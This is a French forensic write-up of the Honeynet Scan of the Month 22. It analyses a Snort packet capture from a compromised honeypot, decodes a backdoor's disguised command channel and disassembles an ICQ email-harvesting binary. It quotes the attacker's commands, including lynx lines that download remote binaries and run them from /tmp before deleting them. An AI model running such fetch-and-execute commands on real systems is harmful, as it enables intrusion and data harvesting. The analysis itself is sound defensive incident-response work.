Scan of the Month 22 - Analyse par Christophe GRENIER

Introduction

Cet article est issu de l'analyse réalisée pour le Scan of the Month du projet Honeynet du mois d'août Scan22. Après avoir pénétrer sur un système Linux sous RedHat 6.2 non patché via la vulnérabilité WU-FTPD, le pirate a installé une backdoor et l'a utilisée pour diverses activités. J'ai participé à l'analyse de ce binaire lors du reverse challenge pour comprendre son fonctionnement. Ce mois-ci le but est de déterminer ce qui a été réalisé par le pirate en utilisant un fichier binaire de capture produit par Snort. L'adresse IP de l'Honeypot est 172.16.183.2.

Outils

Divers outils seront utilisés pour l'analyse. Il s'agit principalement de

http://www.ethereal.comEthereal, Analyseur de trame
http://www.circlemud.org/~jelson/software/tcpflow/TCPFlow, Réassemblage de trame TCP
http://razor.bindview.com/tools/fenris/Fenris, Debugger
http://www.stearns.org/p0f/p0f, Outil d'identification réseau passif des OS
http://www.cgsecurity.org/Articles/reverse/spy_pcap.cspy_pcap, un sniffer/décodeur maison

Analyse

Vérification des données

En premier, il faut télécharger le fichier de log et calculer sa somme de contrôle MD5 pour vérifier son intégrité.

[kmaster@christophe kmaster]$ md5sum snort-0718%401401.log.gz
6d0056c385f4d312f731d9506e217314  snort-0718%401401.log.gz

En tant que simple utilisateur, exécutons ethereal et chargeons le fichier de log. D'après le menu Tools/Summary, le fichier est au format libpcap, le format utilisé par tcpdump, ethereal, snort... Nous pouvons constater que la première trame est arrivée le 12 avril 2002 à 15:45:02 et la dernière date du 13 avril à 02:23:05. Attention, mon ordinateur est à l'heure locale Europe/Paris, soit GMT+2.

Adresse MAC

MACIP
00:50:56:dc:13:a2172.16.183.2
00:50:56:c7:f7:62172.16.183.8
00:50:56:01:00:00?

Il y a trois adresses MAC distinctes au niveau ethernet. Elles commencent toutes par 00:50:56, or d'après la liste des codes constructeurs venant avec Ethereal, fichier /etc/ethereal/manuf, ce code est attribué à VMWare. Le Honeypot fonctionne dans une machine virtuelle comme expliqué sur http://old.honeynet.org/reverse/results/project/index.html. L'adresse MAC 00:50:56:01:00:00 est utilisé pour les machines autres que 172.16.183.2 et 172.16.183.8 comme 94.0.146.98, elle correspond à l'adresse MAC de la passerelle Internet.

Packet checksum

Les paquets avec les adresses IP 10.10.10.10 et 11.11.11.11 portent des checksums incorrects au niveau des entêtes IP, des entêtes TCP... Les adresses ont été sommairement altérées au niveau IP du fichier de capture dans l'idée de protéger l'identité réelle des serveurs. Par la suite, la véritable adresse IP de l'un de ces serveurs sera retrouvée.

Snort

Snort est un IDS, une sonde de détection d'intrusion disponible sur http://www.snort.org. Modifions son fichier de configuration /etc/snort.conf pour activer la totalité des règles y compris info.rules et icmp-info.rules. Demandons-lui d'analyser le fichier de log, et de nous afficher les différentes alertes: snort -r snort2.log -A console -l log -c /etc/snort.conf -d

-*> Snort! <*-
Version 1.8.7 (Build 128)
By Martin Roesch (roesch@sourcefire.com, www.snort.org)
04/12-15:45:02.732909  [**] [1:366:4] ICMP PING *NIX [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 10.10.10.10
04/12-15:45:02.896713  [**] [1:408:4] ICMP Echo Reply [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.10.10.10 -> 172.16.183.2
04/12-15:45:03.776579  [**] [1:366:4] ICMP PING *NIX [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 10.10.10.10
04/12-15:45:03.849188  [**] [1:408:4] ICMP Echo Reply [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.10.10.10 -> 172.16.183.2
04/12-15:45:04.755226  [**] [1:366:4] ICMP PING *NIX [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 10.10.10.10
04/12-15:45:04.768159  [**] [1:408:4] ICMP Echo Reply [**] [Classification: Misc activity] [Priority: 3] {ICMP} 10.10.10.10 -> 172.16.183.2
04/12-17:10:35.475758  [**] [1:399:4] ICMP Destination Unreachable (Host Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 158.217.209.2 -> 172.16.183.2
04/12-17:10:35.500389  [**] [1:399:4] ICMP Destination Unreachable (Host Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 207.245.82.1 -> 172.16.183.2
04/12-18:31:24.406049  [**] [1:553:4] POLICY FTP anonymous login attempt [**] [Classification: Misc activity] [Priority: 3] {TCP} 80.14.184.201:1854 -> 172.16.183.2:21
04/12-18:31:24.620892  [**] [1:491:4] FTP Bad login [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 172.16.183.2:21 -> 80.14.184.201:1854
04/12-20:57:22.264983  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 149.168.130.27
04/12-20:57:23.761669  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 149.168.130.27
04/12-20:57:25.262160  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 149.168.130.27
04/12-21:57:39.191581  [**] [1:1432:3] P2P GNUTella GET [**] [Classification: Misc activity] [Priority: 3] {TCP} 172.16.183.2:1025 -> 216.242.103.2:8882
04/13-00:14:43.802059  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 169.254.129.1
04/13-00:14:43.840194  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 216.228.169.97
04/13-00:14:45.357749  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 169.254.129.1
04/13-00:14:45.362475  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 216.228.169.97
04/13-00:14:46.803439  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 169.254.129.1
04/13-00:14:46.805522  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.8 -> 216.228.169.97
04/13-01:01:33.747278  [**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 207.245.82.2
Run time for packet processing was 1.4294581242 seconds

Ces différentes alertes seront décortiquées par la suite.

Protocol hierarchy

Quelle est la nature des différents protocoles utilisés ? Dans le menu Tools, choisissez Protocol hierarchy statistics pour générer un rapport sur l'utilisation des différents protocoles. Avec étonnement, on constate la présence de MAPI et du protocole Socket et beaucoup de Data pour le TCP. Le paquet numéro 73 correspond à l'initialisation d'une connexion vers 216.242.103.2 (ns1.synergycorp.com). A l'aide de Follow TCP stream, on se rend compte que la connexion se fait en HTTP. Il ne reste plus qu'à choisir "Decode As", decode TCP destination 8882 as HTTP pour corriger ce problème d'identification des protocoles. De la même manière, on inspecte les flux reconnus comme du MAPI et Socket, là aussi, il s'agit du protocole HTTP. On relance l'analyse statistique des protocoles. La majorité du trafic se compose de TCP. Du trafic IP et UDP s'effectue selon des protocoles non reconnus (Data) par Ethereal.

Protocol hierarchy

ICMP

On remarque:

Quel outil a été utilisé pour générer les pings ? D'après les alertes produites par Snort précédemment, il s'agit d'un ICMP PING *NIX autrement dit de paquets générés par la commande ping Unix ce qui n'a rien d'anormal pour un serveur sous RedHat 6.2. Les paquets ICMP ping contiennent des données qui sont initialisés différemment selon les OS. Regarder dans le répertoire log remplis par Snort

04/12-15:45:02.732909  [**] [1:366:4] ICMP PING *NIX [**] [Classification: Misc activity] [Priority: 3] {ICMP} 172.16.183.2 -> 10.10.10.10
04/12-15:45:02.896713 10.10.10.10 -> 172.16.183.2
ICMP TTL:56 TOS:0x0 ID:62373 IpLen:20 DgmLen:84
Type:0  Code:0  ID:36098  Seq:0  ECHO REPLY
0A AE B6 3C 0E 41 01 00 08 09 0A 0B 0C 0D 0E 0F  ...<.A..........
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F  ................
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F   !"#$%&'()*+,-./
30 31 32 33 34 35 36 37                          01234567

Pour approfondir le sujet, consulter l'article Identifying ICMP Hackery Tools où Ofir Arkin analyse les différents outils générant des paquets ICMP.

Ethereal dispose d'une version texte tethereal. Filtrons le protocole ICMP avec la commande tethereal -Vnr snort.log icmp|egrep "(Code:|Src)",

...
Internet Protocol, Src Addr: 172.16.183.8 (172.16.183.8), Dst Addr: 169.254.129.1 (169.254.129.1)
    Code: 3 (Port unreachable)
    Internet Protocol, Src Addr: 169.254.129.1 (169.254.129.1), Dst Addr: 216.158.2.205 (216.158.2.205)
    User Datagram Protocol, Src Port: 137 (137), Dst Port: 137 (137)

Internet Protocol, Src Addr: 172.16.183.8 (172.16.183.8), Dst Addr: 216.228.169.97 (216.228.169.97)
    Code: 3 (Port unreachable)
    Internet Protocol, Src Addr: 216.228.169.97 (216.228.169.97), Dst Addr: 216.158.2.205 (216.158.2.205)
    User Datagram Protocol, Src Port: 137 (137), Dst Port: 137 (137)

Internet Protocol, Src Addr: 172.16.183.2 (172.16.183.2), Dst Addr: 207.245.82.2 (207.245.82.2)
    Code: 3 (Port unreachable)
    Internet Protocol, Src Addr: 207.245.82.2 (207.245.82.2), Dst Addr: 216.158.2.203 (216.158.2.203)
    User Datagram Protocol, Src Port: 53 (53), Dst Port: 1025 (1025)

Tel que défini dans le RFC 1122, les messages d'erreurs ICMP inclus l'entête IP et au moins les 8 premiers octets du datagramme ayant provoqué l'erreur. Cela permet d'apprendre la cause des paquets ICMP Destination unreachable:

Mais encore plus intéressant, nous apprenons les adresses IP publiques : Les Honeypots sont protégés par un firewall faisant de la translation d'adresse NAT, (Plus exactement, Internet est protégé des Honeypots) or Netfilter oublie de modifier les adresses à l'intérieur des messages ICMP d'erreurs. Pour le bulletin de sécurité, consulter le site de Netfilter

Une requête Whois permet d'apprendre que les adresses publiques des Honeypots dépendent du provider américain DCA.

whois 216.158.2.202@whois.arin.net
[whois.arin.net]
Consult Dynamics, Inc. (NETBLK-DCAN-001)
   1204 West Street
   Wilmington, DE 19801
   US

   Netname: DCAN-001
   Netblock: 216.158.0.0 - 216.158.63.255
   Maintainer: DCAN

   Coordinator:
      White, Andrew J.  (AW99-ARIN)  abuse@DCA.NET
      +1-302-654-1019 (FAX) +1-302-426-1568

   Domain System inverse mapping provided by:

   NS1.DCA.NET                  204.183.80.2
   NS2.DCA.NET                  207.245.82.2

   ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

   Record last updated on 07-May-2001.
   Database last updated on  13-Aug-2002 20:01:19 EDT.

Decrypter les commandes de the-binary (Faux NVP)

the-binary est le nom du troyen analysé durant le Reverse challenge. Il a été installé par le pirate sur le Honeynet comme /usr/bin/mingetty. lynx -source http://192.168.82.37:8882/foo>/usr/bin/mingetty Cf commandes du hacker. Cette backdoor reçoit des commandes en utilisant le protocole IP 11 se faisant passer de ce fait comme NVP (Network Voice Protocol). L'attaquant peut contrôler à distance la machine à travers un protocole non standard et profite du fait que certains firewalls ne filtrent pas les protocoles inconnus. Toutes les communications sont codées avec un algorithme maison. Ainsi dans l'éventualité où les paquets seraient observés, les commandes envoyées par le pirate et leurs réponses sont masquées par ce codage. De plus, le protocole est stateless comme UDP, cela permet au pirate de spoofer son adresse IP source de façon à ce que sa véritable adresse ne soit pas connue.

Une description complète est disponible ici. Décodons les commandes du pirate avec spy_pcap.c.

7 =====> Packet intercepted, 436 bytes sniffed <=====
00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 94.0.146.98 -> 172.16.183.2
the-binary client->server
set hacker address 203.173.144.50
use fake address 1

Le pirate vient de configurer le troyen pour lui envoyer la sortie standard de ces commandes sur l'adresse 203.173.144.50 (p50-tnt7.syd.ihug.com.au) et sur d'autres adresses aléatoires. Il est possible que le pirate utilise plusieurs machines piratées pour relayer ces attaques.

8 =====> Packet intercepted, 436 bytes sniffed <=====
00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 192.146.201.172 -> 172.16.183.2
the-binary client->server
cmd=grep -i "zone" /etc/named.conf
9 =====> Packet intercepted, 546 bytes sniffed <=====
00:50:56:dc:13:a2 -> 00:50:56:01:00:00 IP 172.16.183.2 -> 175.44.57.180
the-binary client<-server
cmd=3 41 zone "." {
  zone "0.0.127.in-addr.arpa" {
...

Il recherche quelles sont les zones configurées dans le DNS. Peut-être qu'il cherche le nom de la société qu'il a piraté. Comme le troyen peut être utilisé pour forger des requêtes DNS, peut-être qu'il vérifie la configuration et que la machine est bien autorisée à envoyer des requêtes DNS.

62 =====> Packet intercepted, 436 bytes sniffed <=====
00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 168.148.27.14 -> 172.16.183.2
the-binary client->server
blind cmd=killall -9 ttserve
63 =====> Packet intercepted, 436 bytes sniffed <=====
00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 10.39.81.89 -> 172.16.183.2
the-binary client->server
blind cmd=killall -9 ttserve

72 =====> Packet intercepted, 436 bytes sniffed <=====
00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 58.248.76.90 -> 172.16.183.2
the-binary client->server
blind cmd=killall -9 ttserve ; lynx -source http://216.242.103.2:8882/foo > /tmp
/ttserve ; chmod 755 /tmp/ttserve ; cd /tmp ; ./ttserve ; rm -rf /tmp/ttserve ./
ttserve ;

A 19:57:37, le hacker envoie une commande pour télécharger le binaire foo et l'exécuter.

1236 =====> Packet intercepted, 436 bytes sniffed <=====
00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 218.209.145.27 -> 172.16.183.2
the-binary client->server
blind cmd=killall -9 lynx ; rm -rf /tmp/ttserve;
1237 =====> Packet intercepted, 436 bytes sniffed <=====
00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 122.255.17.55 -> 172.16.183.2
the-binary client->server
blind cmd=killall -9 lynx ; rm -rf /tmp/ttserve;

1282 =====> Packet intercepted, 436 bytes sniffed <=====
00:50:56:01:00:00 -> 00:50:56:dc:13:a2 IP 26.44.146.84 -> 172.16.183.2
the-binary client->server
blind cmd=killall -9 lynx ; rm -rf /tmp/ttserve;

Cinq minutes plus tard (20:02:40), il envoie une commande pour arrêter le transfert avec lynx et effacer le fichier transféré.

Tous les paquets ont un même TTL de 237. Les IP sources sont forgées: certaines correspondent même à des adresses de réseaux privés (10.39.81.89) ou à des ranges non exploités (58.248.76.90).

TCP stream reassembly

Avec tcpflow -r snort.log, on réassemble les flux TCP. Cela va être utile par la suite.

FTP

Un serveur WUFTP 2.6.0(1) est installé sur le Honeypot. D'ailleurs, c'est par la faille WU-FTPD que le Linux a été piraté.

220 serv1 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.
USER anonymous
331 Guest login ok, send your complete e-mail address as password.
PASS Pgpuser@home.com
530 Login incorrect.
221 You could at least say goodbye.

Rien d'intéressant si ce n'est que des personnes recherchent des FTP.

HTTP

Une connexion HTTP commence au paquet 73 depuis le Honeypot vers 11.11.11.11:8882 pour récupérer le binaire foo.

GET /foo HTTP/1.0
Host: 216.242.103.2:8882
Accept: text/html, text/plain, audio/mod, image/*, video/*, video/mpeg, application/pgp, application/pgp, application/pdf, message/partial, message/external-body, application/postscript, x-be2, application/andrew-inset, text/richtext, text/enriched
Accept: x-sun-attachment, audio-file, postscript-file, default, mail-file, sun-deskset-message, application/x-metamail-patch, text/sgml, */*;q=0.01
Accept-Encoding: gzip, compress
Accept-Language: en
User-Agent: Lynx/2.8.3dev.18 libwww-FM/2.14

HTTP/1.1 200 OK
Server: Foobarcatdog1
Content-type: text/x-csrc
Content-length: 215464
Accept-Ranges: bytes
...

On apprend que la véritable adresse de 11.11.11.11 est 216.242.103.2. La personne en charge de ce challenge avait préféré masquer l'adresse mais n'y était pas arrivé totalement. N'ayant pas trouvé d'outils pour réaliser l'opération inverse, j'ai écris un petit programme rewrite_log, pour réécrire le fichier de log Snort avec l'adresse trouvée. Les checksums IP sont désormais correctes, l'adresse est bien la bonne. N'oubliez pas de sauvegarder le binaire foo pour la suite. Vérifions le fichier 216.242.103.002.08882-172.016.183.002.01025 généré par tcpflow à partir de ce nouveau fichier Snort.

GET /wwp?Uin=9207100 HTTP/1.0
Host: web.icq.com

HTTP/1.1 200 OK
Date: Fri, 12 Apr 2002 19:58:41 GMT
Server: Apache/1.3.12 (Unix) mod_ssl/2.6.6 OpenSSL/0.9.5a
Cache-Control: max-age=0
Expires: Fri, 12 Apr 2002 19:58:41 GMT
Connection: close
Content-Type: text/html
...

Ce même paquet est daté du 12 avril 21:58:07, heure de Paris. On peut estimer que l'heure est correcte à une minute prêt.

GET /wwp?Uin=9207199 HTTP/1.0
Host: web.icq.com

HTTP/1.1 200 OK
Date: Sat, 13 Apr 2002 00:23:51 GMT
Server: Apache/1.3.12 (Unix) mod_ssl/2.6.6 OpenSSL/0.9.5a
Cache-Control: max-age=0
Expires: Sat, 13 Apr 2002 00:23:51 GMT
Connection: close
Content-Type: text/html
...

Il y a des connexions HTTP vers http://web.icq.com/wwp?Uin=x où x est l'Universal Internet Number (UIN, identifiant ICQ) s'incrémentant de 9207100 à 9207199. La page web récupérée contient souvent les adresses emails des propriétaires des UIN.

Les connexions sortantes sont très lentes, il y a même des retransmissions de paquet. Une technique utilisée par l'Honeynet Team est de configurer le firewall pour limiter le nombre de nouvelles connexions sortantes dans le temps afin d'éviter les attaques de type Déni de Service depuis le honeypot.

DNS

Le DNS utilisé par le Honeypot est 207.245.82.2 (ns2.dca.net), on observe de nombreuses requêtes DNS pour résoudre web.icq.com.

UDP Port 53413

Après le téléchargement du binaire foo, le serveur 216.242.103.2 (ns1.synergycorp.com) est contacté sur le port 53413 avec les données GU (hex:47 55 0a). La réponse a été DU9207100 (hex: 44 55 39 32 30 37 31 30 30 0a). C'est le premier Uin ICQ qui a été testé.

Analyse du binaire foo

Fort des connaissances apportées par le précédent challenge Reverse, le binaire a été rapidement étudié. La section des données en lecture seule .rodata du binaire ELF contient des informations intéressantes:

objdump -s -j .rodata foo
 
foo:     file format elf32-i386

Contents of section .rodata:
8074a48 286e6673 696f6429 002f0032 31362e32  (nfsiod)./.216.2
8074a58 34322e31 30332e32 00474f54 0047550a  42.103.2.GOT.GU.
8074a68 00444945 00445500 256c7500 5345256c  .DIE.DU.%lu.SE%l
8074a78 750a0077 65622e69 63712e63 6f6d0047  u..web.icq.com.G
8074a88 4554202f 7777703f 55696e3d 256c7520  ET /wwp?Uin=%lu
8074a98 48545450 2f312e30 0d0a486f 73743a20  HTTP/1.0..Host:
8074aa8 7765622e 6963712e 636f6d0d 0a0d0a00  web.icq.com.....
8074ab8 67657468 6f737462 792a2e67 6574616e  gethostby*.getan
8074ac8 73776572 3a206173 6b656420 666f7220  swer: asked for
...

On retrouve la commande GU, l'adresse IP 216.242.103.2, le site web d'ICQ ainsi que le nom (nfsiod) et d'autres mots sans doute des commandes GOT, DIE, DU et SE.

Le binaire foo a été téléchargé depuis http://216.242.103.2:8882/foo. Lors de son démarrage, il contacte 216.242.103.2 (ns1.synergycorp.com) pour récupérer l'UIN initial (GU=Get UIN ?) puis effectue des requêtes HTTP vers web.icq.com. Chaque connexion est précédée de la résolution de nom de web.icq.com. Cela génère du trafic inutile, il aurait suffit de l'effectuer une fois pour toute. Un bon programmeur aurait sans doute utilisé des connexions en parallèle pour accélérer la récupération d'information.

Pour savoir quel traitement est effectué sur la page HTML, une rapide décompilation de foo a été effectué. A l'aide de dress de fenris, les symboles sont ajoutés permettant d'avoir les noms des fonctions. ./dress -F support/fn-libc5.dat ~/scan/foo ~/scan/foo_dress . Dans la sortie de objdump -d foo_dress, recherchons un appel à recv(), la fonction de lecture de données.

8048753:       50                      push   %eax
8048754:       e8 eb b7 01 00          call   8063f44 <recvfrom / sendto+0x60>
8048759:       83 c4 10                add    $0x10,%esp
804875c:       6a 00                   push   $0x0

A proximité, il y a la vérification du mot HTML mailto:

 804885a:       8d 36                   lea    (%esi),%esi
 804885c:       80 bd df fb ff ff 6d    cmpb   $0x6d,0xfffffbdf(%ebp)	'm'
 8048863:       74 07                   je     0x804886c
 8048865:       c7 45 e0 00 00 00 00    movl   $0x0,0xffffffe0(%ebp)
 804886c:       eb 7a                   jmp    0x80488e8
 804886e:       8d 36                   lea    (%esi),%esi
 8048870:       80 bd df fb ff ff 61    cmpb   $0x61,0xfffffbdf(%ebp)	'a'
 8048877:       74 07                   je     0x8048880
 8048879:       c7 45 e0 00 00 00 00    movl   $0x0,0xffffffe0(%ebp)
 8048880:       eb 66                   jmp    0x80488e8
 8048882:       8d 36                   lea    (%esi),%esi
 8048884:       80 bd df fb ff ff 69    cmpb   $0x69,0xfffffbdf(%ebp)	'i'
 804888b:       74 07                   je     0x8048894
 804888d:       c7 45 e0 00 00 00 00    movl   $0x0,0xffffffe0(%ebp)
 8048894:       eb 52                   jmp    0x80488e8
 8048896:       8d 36                   lea    (%esi),%esi
 8048898:       80 bd df fb ff ff 6c    cmpb   $0x6c,0xfffffbdf(%ebp)	'l'
 804889f:       74 07                   je     0x80488a8
 80488a1:       c7 45 e0 00 00 00 00    movl   $0x0,0xffffffe0(%ebp)
 80488a8:       eb 3e                   jmp    0x80488e8
 80488aa:       8d 36                   lea    (%esi),%esi
 80488ac:       80 bd df fb ff ff 74    cmpb   $0x74,0xfffffbdf(%ebp)	't'
 80488b3:       74 07                   je     0x80488bc
 80488b5:       c7 45 e0 00 00 00 00    movl   $0x0,0xffffffe0(%ebp)
 80488bc:       eb 2a                   jmp    0x80488e8
 80488be:       8d 36                   lea    (%esi),%esi
 80488c0:       80 bd df fb ff ff 6f    cmpb   $0x6f,0xfffffbdf(%ebp)	'o'
 80488c7:       74 07                   je     0x80488d0
 80488c9:       c7 45 e0 00 00 00 00    movl   $0x0,0xffffffe0(%ebp)
 80488d0:       eb 16                   jmp    0x80488e8
 80488d2:       8d 36                   lea    (%esi),%esi
 80488d4:       80 bd df fb ff ff 3a    cmpb   $0x3a,0xfffffbdf(%ebp)	':'
 80488db:       75 07                   jne    0x80488e4

Le programme foo collecte les adresses email. Une autre façon d'analyser le programme consiste à le faire fonctionner, hors réseau et dans un environnement chrooté si possible. En montant en local un serveur web et un petit programme pour fournir l'UIN initial, avec des alias IP (ifconfig eth0:0 216.242.103.2 ...), le programme se retrouve à interroger la machine locale et on peut donc analyser son comportement sans faire appel à des connaissances en assembleur. Cette technique est décrite sur http://old.honeynet.org/scans/scan22/sol/writeup/writeup.html. Cela permet de trouver le protocole complet de communication entre ce binaire et son agent.

répète foo/ttserve handler
GU -----> (Get UIN/Get Users)
<----- DUxxxxxx (Download Users)
SExxxxxx email addresses -----> (Send Email)
<----- GOT (Got it!)
jusqu'à <-DIE du handler

Passive OS fingerprinting

Avec p0f, tentons de déterminer les systèmes d'exploitation utilisés.

p0f -s snort2.log |sort -u
p0f: passive os fingerprinting utility, version 1.8.2
(C) Michal Zalewski <lcamtuf@gis.net>, William Stearns <wstearns@pobox.com>
p0f: file: '/etc/p0f.fp', 150 fprints, iface: 'eth0', rule: 'all'.
172.16.183.2 [1 hops]: Linux 2.2.9 - 2.2.18
61.114.247.229 [20 hops]: Linux 2.2.9 - 2.2.18
62.57.114.246: UNKNOWN [60352:47:1460:1:2:0:1:52].
80.11.16.253 [24 hops]: Windows 2000 (9)
80.14.184.201: UNKNOWN [16384:105:1460:1:-1:0:1:48].

Questions

1.Quelle est l'adresse IP de l'attaquant ?

Le pirate utilise 203.173.144.50 (p50-tnt7.syd.ihug.com.au) pour récupérer la sortie des commandes exécutées par the-binary mais il télécharge des fichiers et contrôle le programme de récupération de données ICQ à partir de 216.242.103.2 (ns1.synergycorp.com).

2.Que fait le pirate ? Dans quel but ?

Il a effectué un grep dans le fichier de configuration du DNS pour récupérer les zones. Ensuite, il a téléchargé et exécuté le programme foo.

3.Pourquoi est-ce que du texte en clair est visible dans les paquets de commande ?

Pour éviter la détection, the-binary n'utilise pas des paquets de taille fixe. La taille est augmentée de manière aléatoire. Quand les données sont envoyées, les données stockées dans le buffer contigu sont elles aussi envoyées. Or dans ce buffer est stocké le résultat des commandes et les données ne sont pas effacées, ni codées. Le problème a déjà été révélé par des participants au Reverse Chalenge (CoPS) Lab at the University of North Texas.

4. Quel est le but de'foo'? Quel est le niveau de son programmeur ?

Le programme foo a été téléchargé depuis http://216.242.103.2:8882/foo. Au demarrage, il se connecte sur 216.242.103.2 (ns1.synergycorp.com) pour récupérer l'UIN initiale (GU=Get UIN ?) puis effectue des requêtes http://web.icq.com/wwp?Uin=x sur 100 UIN pour collecter des adresses emails.

Avant chaque connexion, une résolution DNS de web.icq.com est effectuée. Seule la première était nécessaire, les autres auraient pu être éviter. Un bon programmeur aurait sans doute utilisé des connexions parallèles pour accélérer la récupération des informations. Le pirate est sans doute un programmeur débutant.

5.Quel est le but de './ttserve ; rm -rf /tmp/ttserve'

Le programme ttserve rend la main immédiatement et continue à fonctionner en tâche de fond sous le nom (nfsiod). Le pirate peut donc le supprimer pour masquer la présence de ce programme.

6.Comment le pirate va utiliser les résultats de "foo"?

Il va très certainement spammer les personnes dont il a récupéré les adresses emails ou revendre le fichier constitué.

7.Auriez-vous détecté les communications avec la backdoor ?

La bonne configuration de tout firewall est de bloquer ce qui n'est pas explicitement autorisé. Dans mon cas, la communication aurait été bloquée et loguée. La question est de savoir que fait-on de ses logs ? Une sonde Snort aurait elle aussi pu détecter l'utilisation de ce protocole inhabituelle.


Christophe GRENIER
grenier@cgsecurity.org
Consultant Sécurité chez Global Secure